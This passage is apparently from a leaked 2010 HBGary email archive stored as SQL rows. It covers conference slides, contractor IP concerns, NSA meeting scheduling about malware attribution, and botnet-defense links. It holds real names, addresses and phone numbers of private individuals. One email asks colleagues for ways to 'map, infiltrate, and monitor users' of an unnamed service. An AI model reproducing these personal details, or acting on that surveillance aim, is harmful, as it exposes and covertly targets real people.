FINAL DRAFT for Review\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKaren, \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease give these a once over.&nbsp;&nbsp;Make any tweaks\r\nyou find neccessary.&nbsp;&nbsp;I just recorded myself live&nbsp;for the full\r\ntalk, and it clocks in at just about 60 minutes.&nbsp; I called Kevin and\r\nverified that 60 minutes is fine for the ISSA talk, and a little extra time is\r\navailable as padding&nbsp;in case I go over and also for some Q&amp;A.&nbsp; I\r\nfeel good with the current flow of the talk.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2999,'aaron_hbgary_com/2999.html'),(2872,'2010-02-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001369.M525116P3547Q2872.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Aaron, here are the raw slides of the ISSA talk','I have a ton of end game data to send u this weekend.\r\n\r\n From my iPhone\r\n\r\nOn Feb 19, 2010, at 7:30 PM, Greg Hoglund  wrote:\r\n\r\n> The PPT is attached.  Feel free to rob and steal to your hearts\r\n> content.\r\n>\r\n> -Greg\r\n> \r\n',14809,'aaron_hbgary_com/14809.html'),(2873,'2010-02-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001369.M727729P3547Q2873.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Task B issue','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: February 19, 2010 5:23:49 PM MSTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: FW: HBGary Task B issue\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill M.\r\n[mailto:Bill.Thompson@gd-ais.com] \r\nSent: Thursday, February 18, 2010 3:36 PM\r\nTo: Ladao, Lorenza S.; DeRuy, Randy N.\r\nCc: Penny C. Hoglund; Spiller, John F.; Thompson, Bill M.\r\nSubject: HBGary Task B issue\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Lorenza,\r\n\r\nWe had a recent customer\r\nmeeting that involves work\r\nthat has been done by HBGary,\r\nspecifically Task B.  This particular customer is very excited about the\r\nwork that we are doing and the software\r\nsubcontract work HBGary\r\nis doing.  \r\n\r\nThey would like to continue\r\nto do work with us, but they expressed\r\na “concern.”\r\n\r\nThey explicitly asked the\r\nquestion on what our rules of engagement are with HBGary.  Specifically the customer is asking:\r\n\r\n\r\n“Can HBGary give\r\naway/resell/repackage/in any way release\r\nthe Intellectual Property revealing\r\nthe details of the work\r\nperformed for GD to include the work performed by any subcontractors they used and what\r\nare the rules of engagement\r\nwith those subcontractors?”\r\n\r\nWe need to supply them with\r\na formal answer.  \r\n\r\nI believe this was all hammered out in the\r\nbeginning with the\r\nformal contract negotiations, but please remind\r\nme so I don’t get myself in trouble.  \r\n\r\nRandy and Penny are included in this email as well.\r\n\r\n\r\nThank you very much for\r\nyour time,\r\n\r\nBill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6621,'aaron_hbgary_com/6621.html'),(2874,'2010-02-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001369.M904808P3547Q2874.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Aaron, here are the raw slides of the ISSA talk','Guys,\r\n\r\nI think we are going to start seeing more opportunities like this one\r\nas the cyber threats takeore center stage.  This will be part of our\r\nio business and can feed our threat intelligence capability as well.\r\n\r\nAny info you can come up with on approaches to map, infiltrate, and\r\nmonitor users on the service I mentioned to you would be very\r\nbeneficial to our business.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 19, 2010, at 7:30 PM, Greg Hoglund  wrote:\r\n\r\n> The PPT is attached.  Feel free to rob and steal to your hearts\r\n> content.\r\n>\r\n> -Greg\r\n> \r\n',13847,'aaron_hbgary_com/13847.html'),(2875,'2010-02-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001370.M176734P3547Q2875.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Botnet defense','Just found this...\r\n\r\nhttp://www.damballa.com/solutions/downloads.php\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',6527,'aaron_hbgary_com/6527.html'),(2876,'2010-02-20','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297001370.M363140P3547Q2876.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Next week is pretty booked at this point.\r\n\r\nHow about the first week of march (other than 1 March)?\r\n\r\nAfternoons are good at this point.\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 18, 2010 9:11 PM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\nHow about next Thursday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> What dates/times are good for you?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, February 17, 2010 4:12 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Yes we can come up.  When are some good dates?\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> I am interested.\r\n>>\r\n>> What is the best way to meet?\r\n>>\r\n>> Can you come here?\r\n>>\r\n>> Is this related to Responder Pro?\r\n>>\r\n>> Matt\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Dave/Barry/Matt,\r\n>>\r\n>> I am very interested to discuss our different efforts/capabilities \r\n>> related to malware genomes/catalogs.  Please let me know when \r\n>> convenient to get together.\r\n>>\r\n>> Thank you,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>\r\n>>> Ralph,\r\n>>>\r\n>>>   Thanks for reminding me about this one.\r\n>>>\r\n>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>\r\n>>> Vergle\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>> Parkes;\r\n>>\r\n>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Vergle,\r\n>>> Reminder of the thread below, and your awareness of the efforts of\r\n>> Aaron\r\n>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>> Have\r\n>>> not seen any response since this was raised in early December.\r\n>>>\r\n>>> Also, pls see recent news article below:\r\n>>>\r\n>>> \'Cyber Genome Project\': The military scientists want to establish a \r\n>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>> document, apiece of malware - to be probed to its very origins.\r\n>>> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>> investigatory technologies\".\r\n>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>> cyber_genome_project/\r\n>>>\r\n>>> VR,\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>> To: Gipson, Vergle\r\n>>> Subject: FW: Malware Genome and Attribution\r\n>>>\r\n>>> Vergle:\r\n>>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n\r\n>>> as to possible interest in engaging him to learn of his efforts \r\n>>> (which\r\n>>\r\n>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>> Malicious\r\n>>\r\n>>> Code Catalog efforts).\r\n>>>\r\n>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>> was\r\n>\r\n>>> holding back on responding til he saw your comments/guidance.\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Ralph,\r\n>>>\r\n>>> Happy New Year.\r\n>>>\r\n>>> I am still very interested to talk to folks there about the \r\n>>> Malicious\r\n>\r\n>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>> interest on that side.  As I mentioned we have recently partnered \r\n>>> with\r\n>>\r\n>>> Palantir and are working on a partnership with Netwitness and maybe \r\n>>> 1\r\n>\r\n>>> or 2 other small vendors with complimentary technology.  I think \r\n>>> something really substantial can be put together.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>> Did anyone from the NTOC contact you yet?\r\n>>>> Respectfully,\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>> To: \'Aaron Barr\'\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>\r\n>>>> Aaron,\r\n>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>> briefly at Leesburg.\r\n>>>>\r\n>>>> I have pushed your info to those within my Agency who are working \r\n>>>> with\r\n>>>\r\n>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>> next\r\n>>\r\n>>>> week, no one has reached-out to you, pls email me again and I will \r\n>>>> follow up with them.\r\n>>>>\r\n>>>> Sincerely,\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Malware Genome and Attribution\r\n>>>>\r\n>>>> Ralph,\r\n>>>>\r\n>>>> Thank you for stepping in and asking about my discussion about \r\n>>>> Malware\r\n>>>\r\n>>>> detection, genomes, and attribution.  I am very new to my current \r\n>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>> Technical\r\n>\r\n>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>> ago\r\n>\r\n>>>> if we can make headway against attribution I would have said no, \r\n>>>> not\r\n>\r\n>>>> until we have better situational awareness, network \r\n>>>> characterization,\r\n>>\r\n>>>> CND/CNE integration, etc.\r\n>>>>\r\n>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>> where\r\n>\r\n>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>> starting to make associations of authorship across malware.  I \r\n>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>> had\r\n>>> an aha moment.\r\n>>>> But I knew that other capabilities needed to be added if we were \r\n>>>> seriously going to take a crack at attribution.\r\n>>>>\r\n>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>>>> would love to talk with them and combine efforts if appropriate to \r\n>>>> develop the capability that is needed to help with this challenge.\r\n>>>>\r\n>>>> Thank You,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> 301.652.8885 x117\r\n>>>> 719.510.8478\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n',2984,'aaron_hbgary_com/2984.html'),(2877,'2010-02-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001370.M625778P3547Q2877.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Sounds good. How about the afternoon of the 2nd?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 20, 2010, at 6:44 AM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Next week is pretty booked at this point.\r\n>\r\n> How about the first week of march (other than 1 March)?\r\n>\r\n> Afternoons are good at this point.\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 18, 2010 9:11 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> How about next Thursday?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>\r\n>> What dates/times are good for you?\r\n>>\r\n>> Matt\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Yes we can come up.  When are some good dates?\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>> wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> I am interested.\r\n>>>\r\n>>> What is the best way to meet?\r\n>>>\r\n>>> Can you come here?\r\n>>>\r\n>>> Is this related to Responder Pro?\r\n>>>\r\n>>> Matt\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Dave/Barry/Matt,\r\n>>>\r\n>>> I am very interested to discuss our different efforts/capabilities\r\n>>> related to malware genomes/catalogs.  Please let me know when\r\n>>> convenient to get together.\r\n>>>\r\n>>> Thank you,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>\r\n>>>> Ralph,\r\n>>>>\r\n>>>>  Thanks for reminding me about this one.\r\n>>>>\r\n>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>\r\n>>>> Vergle\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n>>>> Parkes;\r\n>>>\r\n>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>\r\n>>>> Vergle,\r\n>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>> Aaron\r\n>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>> Have\r\n>>>> not seen any response since this was raised in early December.\r\n>>>>\r\n>>>> Also, pls see recent news article below:\r\n>>>>\r\n>>>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>>>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>>>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>>>> investigatory technologies\".\r\n>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>> cyber_genome_project/\r\n>>>>\r\n>>>> VR,\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Ghent, Ralph\r\n>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>> To: Gipson, Vergle\r\n>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>\r\n>>>> Vergle:\r\n>>>> I mentioned this fellow to you awhile back and emailed you all in\r\n>>>> V2\r\n>\r\n>>>> as to possible interest in engaging him to learn of his efforts\r\n>>>> (which\r\n>>>\r\n>>>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n>>>> Malicious\r\n>>>\r\n>>>> Code Catalog efforts).\r\n>>>>\r\n>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he\r\n>>>> was\r\n>>\r\n>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>\r\n>>>>\r\n>>>> Ralph Ghent\r\n>>>> rdghent@nsa.gov\r\n>>>> Ph: 443-654-0129\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>> To: Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>\r\n>>>> Hi Ralph,\r\n>>>>\r\n>>>> Happy New Year.\r\n>>>>\r\n>>>> I am still very interested to talk to folks there about the\r\n>>>> Malicious\r\n>>\r\n>>>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>>>> interest on that side.  As I mentioned we have recently partnered\r\n>>>> with\r\n>>>\r\n>>>> Palantir and are working on a partnership with Netwitness and maybe\r\n>>>> 1\r\n>>\r\n>>>> or 2 other small vendors with complimentary technology.  I think\r\n>>>> something really substantial can be put together.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>> Respectfully,\r\n>>>>>\r\n>>>>>\r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>> To: \'Aaron Barr\'\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>\r\n>>>>> Aaron,\r\n>>>>> Many thanks for the additional info and the opportunity to chat\r\n>>>>> briefly at Leesburg.\r\n>>>>>\r\n>>>>> I have pushed your info to those within my Agency who are working\r\n>>>>> with\r\n>>>>\r\n>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\n>>>>> next\r\n>>>\r\n>>>>> week, no one has reached-out to you, pls email me again and I will\r\n>>>>> follow up with them.\r\n>>>>>\r\n>>>>> Sincerely,\r\n>>>>>\r\n>>>>>\r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Malware Genome and Attribution\r\n>>>>>\r\n>>>>> Ralph,\r\n>>>>>\r\n>>>>> Thank you for stepping in and asking about my discussion about\r\n>>>>> Malware\r\n>>>>\r\n>>>>> detection, genomes, and attribution.  I am very new to my current\r\n>>>>> position as CEO of HBGary Federal, prior to this I was the\r\n>>>>> Technical\r\n>>\r\n>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks\r\n>>>>> ago\r\n>>\r\n>>>>> if we can make headway against attribution I would have said no,\r\n>>>>> not\r\n>>\r\n>>>>> until we have better situational awareness, network\r\n>>>>> characterization,\r\n>>>\r\n>>>>> CND/CNE integration, etc.\r\n>>>>>\r\n>>>>> Then I started to learn about HBGarys Malware Genome database,\r\n>>>>> where\r\n>>\r\n>>>>> they have characterized 3500 traits of malware to date, and are\r\n>>>>> starting to make associations of authorship across malware.  I\r\n>>>>> immediately thought of Palantirs capability to link analysis and\r\n>>>>> had\r\n>>>> an aha moment.\r\n>>>>> But I knew that other capabilities needed to be added if we were\r\n>>>>> seriously going to take a crack at attribution.\r\n>>>>>\r\n>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>>>> would love to talk with them and combine efforts if appropriate to\r\n>>>>> develop the capability that is needed to help with this challenge.\r\n>>>>>\r\n>>>>> Thank You,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> 301.652.8885 x117\r\n>>>>> 719.510.8478\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n',13735,'aaron_hbgary_com/13735.html'),(2878,'2010-02-20','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001370.M894922P3547Q2878.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.washingtonpost.com/wp-dyn/content/article/2010/02/19/AR2010021902643.html\r\n\r\n\r\n From my iPhone\r\n',14265,'aaron_hbgary_com/14265.html'),(2879,'2010-02-20','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001371.M102358P3547Q2879.eml','\"Aaron Barr\" <aaron@hbgary.com>','Two Chinese Schools Reportedly Tied To Online Attacks','Two Chinese Schools Reportedly Tied To Online Attackssquidw* writes \"Online attacks on Google and other American corporations have been traced to computers at two educational institutions in China, including one with close ties to the Chinese military, say people involved in the investigation. From the NY Times: \'... the attacks, aimed at stealing trade secrets and computer codes and capturing e-mail of Chinese human rights activists, may have begun as early as April, months earlier than previously believed. ... The Chinese schools involved are Shanghai Jiaotong University and the Lanxiang Vocational School, according to several people with knowledge of the investigation who asked for anonymity because they were not authorized to discuss the inquiry. Jiaotong has one of China’s top computer science programs. Just a few weeks ago its students won an international computer programming competition organized by IBM — the “Battle of the Brains” — beating out Stanford and other top-flight universities. Lanxiang, in east China’s Shandong Province, is a huge vocational school that was established with military support and trains some computer scientists for the military.\'\"Read more of this story at Slashdot.\r\n\r\nFrom my iPhone',15418,'aaron_hbgary_com/15418.html'),(2880,'2010-02-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001371.M323694P3547Q2880.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>','Cyber Genome Planning Dinner','\r\n\r\n\r\n\r\n\r\nCyber Genome Planning Dinner\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, February 23, 2010 6:00 PM-8:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Aaron pick a place\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',7284,'aaron_hbgary_com/7284.html'),(2881,'2010-02-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001371.M541532P3547Q2881.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Botnet defense','Interesting...\r\nWould like to see what and how many they actually can monitor.  Did not\r\nsee a list on their pages other than the 9 listed on their brochure\r\nsample report.  Do they actually RE the malware or wait for reports like\r\nyour Aurora?  Worth giving them a call in case they are a data\r\nrepository that no one knows about.\r\n\r\nBaby came home yesterday afternoon.  He is fine other than we have to\r\nsuck snot out of his nose for him til it clears up.  I thought I was\r\nshort on sleep on Friday.  Got an hour last night and I am chaperoning\r\nmy daughter\'s youth group trip to the local ski place.  Ugh.\r\n\r\nAt CMU tomorrow with Brammer.  See you Tuesday.  \r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, February 20, 2010 12:54 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Botnet defense\r\n\r\nJust found this...\r\n\r\nhttp://www.damballa.com/solutions/downloads.php\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',4424,'aaron_hbgary_com/4424.html'),(2882,'2010-02-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001371.M777087P3547Q2882.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Botnet defense','Agreed.  Would be worth a call.  Glad to hear babys doing better, you\r\nmust feel like a zombie.  Good luck with the chaperoning, that would\r\nbe tough with mo sleep.\r\n\r\nInterested to hear about cmu.  See if you can find out anything about\r\ntheir malware catalog and whether they are teamed for genome project.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 21, 2010, at 8:07 AM, \"Masterson, Brian (Xetron)\"\r\n wrote:\r\n\r\n> Interesting...\r\n> Would like to see what and how many they actually can monitor.  Did\r\n> not\r\n> see a list on their pages other than the 9 listed on their brochure\r\n> sample report.  Do they actually RE the malware or wait for reports\r\n> like\r\n> your Aurora?  Worth giving them a call in case they are a data\r\n> repository that no one knows about.\r\n>\r\n> Baby came home yesterday afternoon.  He is fine other than we have to\r\n> suck snot out of his nose for him til it clears up.  I thought I was\r\n> short on sleep on Friday.  Got an hour last night and I am chaperoning\r\n> my daughter\'s youth group trip to the local ski place.  Ugh.\r\n>\r\n> At CMU tomorrow with Brammer.  See you Tuesday.\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, February 20, 2010 12:54 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Botnet defense\r\n>\r\n> Just found this...\r\n>\r\n> http://www.damballa.com/solutions/downloads.php\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',844,'aaron_hbgary_com/844.html'),(2883,'2010-02-21','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','/aaron@hbgary.com/new/1297001371.M961297P3547Q2883.eml','aaron@hbgary.com','Accepted: Invitation: Sparta Discussion @ Mon Feb 22 10:30am - 11:30am (erik.mettala@cobham.com)','\r\n\r\n\r\nBODY{font-family:monospace;}\r\n\r\n\r\nAaron,\r\n&nbsp;&nbsp;&nbsp; I had a meeting \'slip\' into the schedule.\r\n&nbsp;&nbsp;&nbsp; Can we move this 30 minutes to start at 11:00?\r\n&nbsp;&nbsp;&nbsp; Let me know,\r\nErik',14123,'aaron_hbgary_com/14123.html'),(2884,'2010-02-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001373.M306257P3547Q2884.eml','\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com','Greg Barmine resume - Senior Info Tech, TS clearance, Russian language skills','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted, \r\n\r\n&nbsp;\r\n\r\nI&#8217;m trying to help out a friend who is looking for a job.&nbsp;\r\nHe is general IT and networking, not cyber security so not a fit for HBGary.&nbsp; Please\r\npass this resume to anybody who might need a guy like this.&nbsp; &nbsp;He is a senior\r\ninformation technology professional with current TS clearance and Russian\r\nlanguage skills.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9156,'aaron_hbgary_com/9156.html'),(2885,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001373.M503714P3547Q2885.eml','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','Re: Accepted: Invitation: Sparta Discussion @ Mon Feb 22 10:30am - 11:30am (erik.mettala@cobham.com)','Erik,Are you attending the DARPA day tomorrow? &nbsp;We have our 15min. with Van Putte tomorrow so will be attending in the morning.AaronOn Feb 21, 2010, at 10:13 AM, Mettala, Erik 